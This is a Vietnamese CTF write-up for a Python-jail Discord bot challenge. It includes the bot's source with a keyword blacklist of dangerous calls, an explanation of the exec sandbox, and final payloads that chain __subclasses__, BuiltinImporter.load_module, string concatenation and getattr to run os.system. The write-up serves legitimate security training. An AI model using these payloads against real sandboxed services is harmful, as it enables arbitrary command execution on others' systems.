Home FPTU SecAthon 2020 | MISC Writeup | PRP301
Post
Cancel

FPTU SecAthon 2020 | MISC Writeup | PRP301

PRP301

Thử thách:

Discord Bot is broken :<
Direct Message FUCTF Bot #3982 for more detail ( ̄︶ ̄*))
Note: Using command !help

Gợi ý:

  • Pyjail
  • !flag return 1
  • class, mro, subclass + string concatenation

Kiến thức nền:

  • Using Discord Bot.
  • PyJail Escape.
  • OOP in Python.
  • Pipeline.
  • Server-sided template injection with Jinja2.

Giải quyết vấn đề:

1/ Initial reconnaissance (Pipeline, Using Discord Bot):

Nhanh tay làm những việc sau:

  • Join server discord của FU SecAthon, sau đó vào inbox trực tiếp với con bot của server (FUCTF BOT) trong DM để tra khảo nó:v image
  • Gõ !help để xem BOT hỗ trợ những command gì:. image
  • Chỉ có duy nhất 1 command ở đây mà chúng ta cần chú ý: image

Đây là link dẫn đến source code của con bot này. Cùng check xem có gì hay ho trong đó nào<3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
# bot.py
import os
import sys
from discord.ext import commands
import asyncio
import discord
from dotenv import load_dotenv

load_dotenv()
TOKEN = os.getenv('DISCORD_TOKEN')

banned = [	
	"import",
    "exec",
    "eval",
    "pickle",
    "os",
    "subprocess",
    "input",
    "banned",
    "compile",
    "system",
    "warnings",
    "open",
    "assert",
    "per",
    "pper",
    "chr",
    "exit",
    "__import__",
]
 
 
blacklist = ["[]", "''", '""', "{}", "write", "read", "communicate", "base", "getitem", "shell", "encode", "decode", "upper", "lower"]
 
banned = banned + blacklist

help_str = '''
`Welcome to FU SecAthon Season 3
1. ping 
2. help 
3. author
4. leak
5. source
6. version`
'''

author_str = '''
`Web Exploitation: KhoaBDA
Cryptography: PhiNC
Forensic + Miscellaneous: TungDLM
Binary Exploitation: NghiaDT
Reverse Engineering: VinhTHP`
'''

leak_str = '''
`Web Exploitation: https://quizlet.com/342338675/iaw-full-by-phat-flash-cards/
Cryptography: https://quizlet.com/vn/457045651/cry302-flash-cards
Reverse Engineering: https://quizlet.com/387215551/iam-hoi-bi-chuan-flash-cards
Miscellaneous: https://quizlet.com/vn/454992157/frs301_edited-flash-cards/
Binary Exploitation: https://quizlet.com/vn/500408500/hod401-vinh-flash-cards/
Forensic: https://quizlet.com/vn/454992157/frs301_edited-flash-cards/`
'''

source_str = '''`https://drive.google.com/drive/folders/1Ho55hI7XOOycyxCPrHdKyl20MuXSfyGU?usp=sharing`'''

client = discord.Client()
client = commands.Bot(command_prefix=commands.when_mentioned_or("!"))
client.remove_command('help')

@client.event
async def on_ready():
	await client.change_presence(activity=discord.Game(name="###Welcome_Flag###"))

@client.command()
async def ping(ctx):
    await ctx.send(f'`Pong! {round (client.latency * 1000)}ms `')

@client.command()
async def help(ctx):
	await ctx.send(help_str)

@client.command()
async def author(ctx):
	await ctx.send(author_str)

@client.command()
async def leak(ctx):
	await ctx.send(leak_str)

@client.command()
async def source(ctx):
	await ctx.send(source_str)

@client.command(name="flag")
async def flag(ctx, *, data):
	if data.startswith("```") and data.endswith("```"):
		data = "\n".join(data.split("\n")[1:-1])
	else:
		data = data.strip("` \n")

	for ban in banned:
		if ban.lower() in data.lower():
			await ctx.send(f'Invalid Payload xD')
			return

	action = await asyncio.create_subprocess_exec("py", "exploit.py", stdin=asyncio.subprocess.PIPE, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)

	try:
		out, err = await asyncio.wait_for(action.communicate(data.encode()), 5)
	except asyncio.TimeoutError:
		await action.kill()
	else:
		if out or err:
			await ctx.send(f"```py\n{out.decode()}{err.decode()}\n```")

@client.command()
async def version(ctx):
	await ctx.send(sys.version)

if __name__ == '__main__':
	client.run(TOKEN)

Có một số chỗ chúng ta cần chú ý trong source code này. Trước hết là array banned và blacklist:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
 banned = [	
	"import",
    "exec",
    "eval",
    "pickle",
    "os",
    "subprocess",
    "input",
    "banned",
    "compile",
    "system",
    "warnings",
    "open",
    "assert",
    "per",
    "pper",
    "chr",
    "exit",
    "__import__",
]
  
blacklist = ["[]", "''", '""', "{}", "write", "read", "communicate", "base", "getitem", "shell", "encode", "decode", "upper", "lower"]
 
banned = banned + blacklist

Có khả năng đây là danh sách các từ bị cấm sử dụng trong payload dùng để inject vào con bot. Kéo xuống gần cuối xem thì đúng là như vậy:

1
2
3
4
for ban in banned:
		if ban.lower() in data.lower():
			await ctx.send(f'Invalid Payload xD')
			return

Cũng ngay tại đoạn này tôi đã tìm ra cách để inject vào con bot. Đó là sử dụng lệnh “!flag + payload”:

1
2
3
4
5
6
@client.command(name="flag")
async def flag(ctx, *, data):
	if data.startswith("```") and data.endswith("```"):
		data = "\n".join(data.split("\n")[1:-1])
	else:
		data = data.strip("` \n")

Tôi đã thử inject rất nhiều đoạn code python từ lớn đến bé bằng cách như sau nhưng bot chỉ trả về các dòng báo lỗi:

image

Các lỗi trả về thường là “ ‘something’ is not defined”, và lỗi này có liên quan tới đoạn code print(hack["func"]()) trong file exploit.py. Cùng check file này xem nào:

1
2
3
4
5
6
7
import textwrap
import sys

hack = {"__builtins__": {}}
module = f"def func():\n{textwrap.indent(sys.stdin.read(), '    ')}"
exec(module, hack)
print(hack["func"]())

Chú ý vào hàm exec. Syntax của nó là: exec(object, dictionary).Đây là một hàm cho phép chúng ta thực thi một chương trình con được tạo ra bên trong chương trình lớn, ở đây nó được mô tả bằng string như sau: f"def func():\n{textwrap.indent(sys.stdin.read(), ' ')}" Đây là một f-string. Nó cũng tương tự như các string bình thường trừ việc chúng ta có thể truyền vào f-string expression bên trong cặp dấu {}. Khi chúng ta truyền vào một string bình thường chứa code thì hàm exec sẽ kiểm tra xem liệu các phương thức được call trong string có xuất hiện trong dictionary hay không. Ở đây dictionary chính là hack = {"__builtins__": {}}, trong đó builtins là một module nền tảng, chứa tất cả các hàm thông dụng nhất của Python như print, input, và các hàm được phép define trong dictionary này chỉ giới hạn trong module builtins. Làm 1 ví dụ so sánh thế này cho dễ hiểu:

image

image

Tuy nhiên, ngay cả khi trong dictionary builtins đã được gọi ra thì khi ta inject print('hello world') như hình trước đó thì vẫn trả về 'print' is not defined mặc dù print là một hàm nằm trong module builtins. Lý do là vì trong dictionary tác giả không define bất kì hàm nào, hay nói đúng hơn là cái dictionary này trống không nên dùng bất kì hàm nào nó cũng báo lỗi hết! Well, thế nghe có vẻ không hợp lý cho lắm, nội dung của chương trình con chứa trong biến “module” có phần định nghĩa hàm: def func():, chả lẽ định nghĩa hàm func này xong chúng ta lại vứt nó ở đấy không viết gì thêm cho phần thân hàm nữa chỉ vì các hàm predefined đều không sử dụng được!!!??? Thật may vì đây là f-string:v Vì những gì bên trong cặp dấu {} của f-string sẽ được hàm exec bypass và sẽ được compiler xử lý như phần code nằm phía bên ngoài của string, chúng ta có thể tha hồ viết như thế này:

1
f"def func():\n{textwrap.indent(sys.stdin.read(), '    ')}" mà không cần quan tâm hàm indent hay read kia có nằm trong module builtins hay dictionary chúng ta đã tạo ra hay không (tất nhiên chúng ta phải import textwrap và import sys mới xài 2 hàm kia được). Trước tiên chúng ta xét hàm [indent](https://docs.python.org/3/library/textwrap.html).  Ở đây parameter "text" của hàm là một stdin, nói dơn giản thì đó là dữ liệu mà user nhập vào sẽ được hàm xử lý ngay tại chỗ, parameter còn lại - prefix ở đây là `'        '` . Đi sâu hơn về stdin, ở tác giả sử dụng hàm read ([sys.stdin.read](https://www.geeksforgeeks.org/difference-between-input-and-sys-stdin-readline/)) để lọc dữ liệu đầu vào dựa theo parameter size. Demo thế này cho dễ hiểu:

image

Giả dụ nếu tôi không truyền vào parameter size, tức là xóa số 4 trên hình kia đi cho nó giống với source code của tác giả, nó sẽ như nào nhỉ:

image

Wait what!? Lúc nãy tôi nhập vào 1 lần ((nhập linh tinh gì cũng được) là nó cho ra ngay output là “haha” rồi kết thúc chương trình luôn. Còn bây giờ thì nó cứ bắt tôi nhập mãi không chịu dừng là thế nào??? (well, tôi phải Ctrl + C thì để dừng nó lại nên mới có cái traceback kia). Chúng ta có thể inject payload vào con bot được chính là nhờ có hàm này, chạy source code trên terminal nó ra như thế nào thì trên discord nó cũng phải giống y như vậy. Vậy tại sao nó lại méo giống thế nhỉ:v

image

Ở trong discord thì chỉ cần nhập 1 lần thì chương trình đã dừng rồi. Vậy chắc phải có gì đó ở bên source code “bot.py” tác động vào thì nó mới ra được output trên discord khác so với terminal như thế này nhỉ. Bingo! Đúng là vậy thật:»

1
action = await asyncio.create_subprocess_exec("py", "exploit.py", stdin=asyncio.subprocess.PIPE, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)

Phân tích code một chút nào. Cú pháp asyncio cho chúng ta biết đây là một coroutine. Từ class asyncio gọi method create_subprocess_exec nhằm tạo ra một subprocess. Method này nhận có parameter “program” là “py” và parameter object chính là file source code “exploit.py”. Điều này có nghĩa là coroutine hiện tại đang chạy command “py” (lệnh của cmd dùng để gọi trình biên dịch Python) để translate các kí tự từ input stream của nó là file exploit.py thành một chương trình con. Các tham số về standard stream dùng để đều được set là asyncio.subprocess.PIPE. Đây là một giá trị đặc biệt thường dùng để gán cho stdin, stdoutstderr, thể hiện rằng một pipe kết nối từ subprocess được tạo ra (ở đây là process “action”) đến standard stream cần phải được mở ra. Điều này ảnh hưởng trực tiếp tới việc process “action” gọi method communicate ở khối code “try” ở ngay sau đó:

1
2
3
4
5
6
7
try:
    out, err = await asyncio.wait_for(action.communicate(data.encode()), 5)
except asyncio.TimeoutError:
    await action.kill()
else:
    if out or err:
       await ctx.send(f"```py\n{out.decode()}{err.decode()}\n```")

stdin=asyncio.subprocess.PIPE nên method communicate sẽ gửi data tới process “action” thông qua stdin (hình dung nó như 1 cái cổng để data (đã được encode thông qua data.encode()) có thể truyền vào 1 process), tất nhiên là với điều kiện tham số input (ở đây là data.encode()) của method communicate phải khác “None”. Tương tự, vì stdout=asyncio.subprocess.PIPEstderr=asyncio.subprocess.PIPE) nên method communicate sẽ trả về một result tuple (stdout_data, stderr_data) như mong muốn thay vì trả về kết quả mặc định là “None” (hình dung stdout và stderr như 2 cái cổng ra của output tạo ra bởi process, nếu có thể trả về được output thì nó sẽ đi ra cổng stdout, nếu bị lỗi thì sẽ qua cổng stderr). action.communicate(data.encode()) là một awaitable object (hay đúng hơn là một coroutine), do đó có thể truyền nó vào method asyncio.wait_for. Đoạn asyncio.wait_for(action.communicate(data.encode()), 5) này có thể hiện rằng method wait_for này sẽ chờ coroutine action.communicate(data.encode()) trong khoảng thời gian 5 giây. Nếu xảy ra tình trạng timeout (asyncio.TimeoutError) thì ngay lập tức kill process “action” (await action.kill()), không thì output hoặc err sinh ra sẽ được gửi đến và hiển thị trên discord. Từ những phân tích ở trên chúng ta có thể tóm tắt quá trình hoạt động của asynchronous function “flag” như sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@client.command(name="flag")
async  def  flag(ctx, *, data):
   if data.startswith("```") and data.endswith("```"):
       data = "\n".join(data.split("\n")[1:-1])
   else:
       data = data.strip("` \n")
   for ban in banned:
       if ban.lower() in data.lower():
          await ctx.send(f'Invalid Payload xD')
          return
   action = await asyncio.create_subprocess_exec("py", "exploit.py", stdin=asyncio.subprocess.PIPE, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
   try:
        out, err = await asyncio.wait_for(action.communicate(data.encode()), 5)
   except asyncio.TimeoutError:
        await action.kill()
   else:
        if out or err:
           await ctx.send(f"```py\n{out.decode()}{err.decode()}\n```")
  • Bước 1: Khối lệnh if…else đầu tiên, đây là lúc chương trình xử lý tham số “data” được truyền vào của hàm flag (đồng thời cũng là dữ liệu do người dùng nhập vào từ discord, hay chính là payload). Nếu data.startswith("") and data.endswith("") thì thực hiện split string “data” thành một mảng string con theo kí tự “\n” (Enter), đồng thời chỉ lấy các phần tử trong mảng mới tạo ra từ index số 1 đến index cuối cùng (bỏ phần tử đầu tiên có index 0): data.split("\n")[1:-1] để đem đi join lại với kí tự “\n”. Hình minh họa dưới đây sẽ giúp bạn hiểu rõ hơn:

image

Nếu không như vậy thì thực hiện strip data theo 3 kí tự là “`”, “ “ và “\n” :

image

  • Bước 2: Tiếp theo là khối lệnh for ban in banned:, cái này thì tôi đã giải thích ở trên rồi, các bạn kéo lên mà đọc nhé:v
  • Bước 3: Sau đó là câu lệnh tạo một subprocess để chạy trong chính chương trình hiện tại tên là “action”, và subprocess sẽ thực thi file exploit.py. Đoạn này tôi cũng đã giải thích rất kỹ rồi, các bạn lại kéo lên đọc tiếp nhé:v
  • Bước 4: Cuối cùng và cũng là quan trọng nhất, subprocess “action” sau khi được tạo ra sẽ nhận vào đã data (string) vừa được cắt gọt, xử lý ở bước 1 để truyền vào chính nó. Process “action” thực thi file exploit.py, theo cơ chế pipeline, data (lúc này đã được encode) sẽ đóng vai trò là input của process “exploit” (hay còn gọi là “action”). Nói một cách đơn giản, thay vì phải ngồi input dữ liệu bằng tay cho “exploit” như thế này:

image

vừa mỏi tay vừa bị lỗi chương trình bắt người dùng nhập vô hạn (tôi đã có đề cập ở phía trên những tới bây giờ mới giải thích đc:v), process cha (thực thi file bot.py) đã nhập hộ vào process con là “exploit” thay chúng ta rồi, và cái mà process “bot” nhập chính là biến data (đã được encode). Do đó khi truyền payload vào discord không xảy ra tình trạng chương trình bắt nhập dữ liệu liên tục không dừng như mình demo ở trên nữa, vì stdin của process “exploit” đã xác định được size của dữ liệu nhập vào nên khi gọi method sys.stdin.read() nó sẽ biết điểm dừng ở đâu mặc dù không truyền tham số size vào:

image

  • Bước 5: Cuối cùng, sau quá trình liên kết giữa process cha và process con, method sẽ sinh ra turple out và err (có nói phía trên rồi thắc mắc thì đọc lại nha:3).

2/ Exploiting (Python Jail Escape, OOP in Python):

Sau khi initial reconnaissance, chúng ta đã biết được con đường vận chuyển payload của user sau khi được nhập trên discord như thế nào. Thay vì nhập những payload vô nghĩa để test thử chương trình hoạt động như nào, bây giờ chúng ta sẽ tập trung vào những cái có nghĩa hơn cho việc khai thác con bot. Như những gì tôi đã phân tích về source code “exploit,py”, dictionary “hack” mặc dù đã khai báo rằng mình sẽ sử dụng các method trong module builtins nhưng module builtins said: “Không, tao đếch có cái method gì để cho mày cả thằng “hack” ạ!”: hack = {"__builtins__": {}}. Điều này đồng nghĩa với việc nếu chúng ta có các hàm của module này như print, file, open thì sẽ xuất ra err: “something” is not defined (có đề cập ở phần đầu của initial reconnaissance). Các method vốn không nằm trong builtins có thể dùng được như eval hay immport cũng bị tác giả cho vào blacklist gần hết:(( Nhưng chúng ta hoàn toàn có thể thay thế các method kia bằng lệnh return, đơn giản vì return là một keyword của python chứ không phải là predefined method như bọn kia, không phải “ăn nhờ ở đậu” ở bất cứ module nào. Test thử xem nào:

image

GREATTT!!! Đây cũng chính là điều mà hint số 2 muốn nói. Tại sao nó có thể in ra số 1 như thể chúng ta đang nhập print(1) thế kia. Nhìn lại source code exploit.py một chút là biết:

1
2
3
module = f"def func():\n  {textwrap.indent(sys.stdin.read(), ' ')}"
exec(module, hack)
print(hack["func"]())

Sau khi inject payload return 1 vào, theo dòng pipeline và quá trình xử lý payload của stdin {textwrap.indent(sys.stdin.read(), ' ')}, chúng ta sẽ có biến module (chứa executable code) ban đầu trở thành như thế này:

1
module = "def func():\n return 1"

Tiếp theo sau khi exec(module, hack), hàm func được define trong biến module sẽ được nạp vào như một phần tử trong dictionary hack (bên cạnh cái builtins trống không). Cuối cùng chúng ta có thể in ra số 1 là nhờ print(hack["func"]()) ra giá trị trả về của hàm func là 1. Như vậy, chúng ta đã giải quyết được vấn đề: “Làm thế nào để bắt con bot display cái gì đó ra theo ý mình?”. Đừng quên thứ mà chúng ta muốn display ở đây là flag, nhưng mà nó có thể ở đâu được nhỉ? Con bot này được kết nối với server của cuộc thi, trên server đó rất có thể chứa các file có khả năng có flag trong đấy kiểu như “flag.txt” chẳng hạn:v Vậy sao chúng ta không “cat flag.txt” (như kiểu trong terminal của Linux ý, server nó cũng chỉ như 1 cái PC chứa file trong đấy thôi mà:v) để đọc được nội dung bên trong nó là gì (thật may trong blacklist, banned của tác giả không có từ “cat”<3). Để có thể thực hiện được command này trong một chương trình Python thì phải có dùng method system, mà muốn có method này thì chúng ta phải load được module os. Nên nhớ cả “os” và “system” nó cũng nằm trong blacklist:v Để tránh bị con bot reponse lại là “Invalid Payload xD” chỉ có duy nhất một cách là string concatenation , ví dụ: thay vì phải inject vào payload là ‘os’, ta dùng: ‘o’+’s’. Tôi bỗng nhớ ra một method trong module “builtins” có thể có ích để giải quyết được vấn đề này, đó là getattr(). Thay vì gọi và truyền tham số cho method system theo kiểu “os.system(“cat flag.txt”)” như bình thường, chúng ta có thể gọi nó lại như sau để escape Python jail được của tác giả:

1
2
3
4
5
getattr(os,'sys'+'tem')("cat flag.txt") Như vậy, chúng ta đã vượt qua được 1 "jail", "jail" tiếp theo cần phải vượt qua đó là "os" cũng như "builtins". Cái khó nhất là ở đây, các keyword như "import" hay ["__import__" ](https://www.geeksforgeeks.org/how-to-dynamically-load-modules-or-classes-in-python/) đã bị cấm mất rồi, do đó chúng ta không thể import module theo cách thông thường được. Đây là lúc chúng ta áp dụng kiến thức về [SSTI](https://www.hacktoday.io/t/flask-jinja2-ssti-cheatsheet/2259) để escap Python Jail. Về cơ bản tôi có thể dễ dàng access một vào rất nhiều class (ở đây chính là các module) bằng cách kiểu như sau:

().__class__.__mro__[<a number>].__subclasses__() Cùng phân tích cú pháp một chút nào. Dấu "()" kia biểu diễn một object trong Python, ở đây object "()" thuộc kiểu [tuple](https://toidicode.com/tuple-trong-python-347.html), nhưng đây lại là một tuple trống. Tôi hoàn toàn có thể thêm bao nhiêu phần tử vào trong cái tuple trống này cũng được mà không gặp vấn đề gì, kiểu như thế này:

(1,2).__class__.__mro__[1].__subclasses__()

Hoặc thậm chí là vứt thằng tuple này đi để sử dụng object “string”, nó cũng chả khác một tí gì:

1
2
3
'hehe'.__class__.__mro__[1].__subclasses__() Có một định luật khá thú vị trong Python:"Vạn vật đều là Object". Từ những cái nhìn tưởng như là những value vô hại để gán vào cho một biến chứa kiểu dữ liệu nào đó như string('hehe'), tuple((1,2),()),..v.v thực chất tất cả chúng đều là một object thực thụ. Mà một object thì đương nhiên có thể gọi được method. Nhưng trước khi gọi được method, chúng ta phải tham chiếu tới kiểu dữ liệu của object hiện tại (xem giải thích tại [đây](https://stackoverflow.com/questions/20599375/what-is-the-purpose-of-checking-self-class-python#:~:text=__class__%20is%20a,type%20of%20the%20current%20instance.&text=Throwing%20an%20exception%20here%20is,you%20from%20making%20silly%20mistakes.&text=type%28%29%20should%20be%20preferred,shadowed%20by%20a%20class%20attribute.)):

<object>.__class__  Minh họa một chút về syntax cho dễ hiểu:

image

Object hiện tại thuộc kiểu dữ liệu “tuple”, tuy nhiên nó vẫn chưa phản ánh hết đầy đủ bản chất của object “()”, vì có thể object này có thể đang thừa kế từ rất nhiều class khác nữa, muốn biết điều này liệu có đúng hay không chúng ta phải kiểm tra xem “cây thừa kế” có những gì. Tôi có thể dễ dàng làm được điều này bằng cách gọi thuộc tính mro của object hiện tại:

1
<object>.__class_.__mro__ Demo một chút nào:

image

Như vậy, output của ().__class__.__mro__ là một tuple bao gồm 2 phần tử là , <class 'tuple'><class 'object'>, trong đó phần tử thứ 2 của tuple chính là class “thủy tổ” trong ngôn ngữ Python, mọi class cho dù là predefined hay user-defined đều ngầm định là class thừa kế, là con của class 'object'. Từ class “thủy tổ” này chúng ta có thể truy cập đến một list rất rộng các class con của nó, trong đó chắc chắn bao gồm class có sẵn (predefined) trong Python, và bên trong các “predefined class” này lại chắc chắn chứa một module hay package chứa module (bản thân module cũng chính là class) nào đó có các method hữu dụng để load các module khác lên giống như kiểu câu lệnh “import” (bản thân “import” cũng là predefined:v), bằng cách sử dụng method subclass (từ đoạn này chúng ta chỉ quan tâm đến danh sách các class con của class “object” thôi):

1
<object>.__class_.__mro__[1].__subclasses__()

image

Awesome!!!! Đừng thấy nó trông nhiều như thế mà hoa mắt, bởi vì mục tiêu mà ta đang tìm kiếm là một module nào đó có liên quan đến câu lệnh “import”. Sau 1 quá trình google không ngừng, tôi đã tìm ra thứ mình cần đó là package importlib (đây chính là implementation của “import”). Nghiên cứu doc của package này tôi phát hiện ra có module machinery chứa các object cần thiết giúp “import” tìm và load các module. Chúng ta đang cần tìm và load các built-in module lên, vậy chắc chắn không có lý do gì ta lại không dùng [BuiltinImporter] - (https://docs.python.org/3/library/importlib.html#importlib.machinery.BuiltinImporter) - một importer chuyên dùng cho việc này. Giờ chúng ta chỉ việc CTRL + F và tìm xem importer BuiltinImporter có xuất hiện trong output trả về trên kia không nào:

image

Cool:))) Mày ở đây rồi!!! Trong array mà ().__class__.__mro__[1].__subclasses__() trả về thì phần tử <class '_frozen_importlib.BuiltinImporter'> nằm ở vị trí 84 (để biết tại sao nó lại là class '_frozen_importlib.BuiltinImporter' chứ không phải là class importlib.machinery.BuiltinImporter bạn có xem tại đây). Từ class (module) này chúng ta có thể implement importlib.abc.InspectLoader, tới đây chúng ta có thể lấy được chìa khóa để kết thúc challenge này, đó là method load_module của class “InspectLoader”. Tóm lại, từ những gì thu thập được, các payload cuối cùng dẫn đến flag của tôi là (dùng cái nào cũng đúng hết):

1
return ().__class__.__mro__[1].__subclasses__()[84].load_module('buil'+'tins').getattr(().__class__.__mro__[1].__subclasses__()[84].load_module('o'+'s'), 'sys'+'tem')("cat flag.txt")
1
return 'ConBOTDBGRFromLuaDLM'.__class__.__mro__[1].__subclasses__()[84].load_module('buil'+'tins').getattr(().__class__.__mro__[1].__subclasses__()[84].load_module('o'+'s'), 'sys'+'tem')("cat flag.txt")
1
return (1,2).__class__.__mro__[1].__subclasses__()[84].load_module('buil'+'tins').getattr(().__class__.__mro__[1].__subclasses__()[84].load_module('o'+'s'), 'sys'+'tem')("cat flag.txt")

Cay cú quá, đi thi đếch giải ra, về nhà mới giải ra:(((

image

This post is licensed under CC BY 4.0 by the author.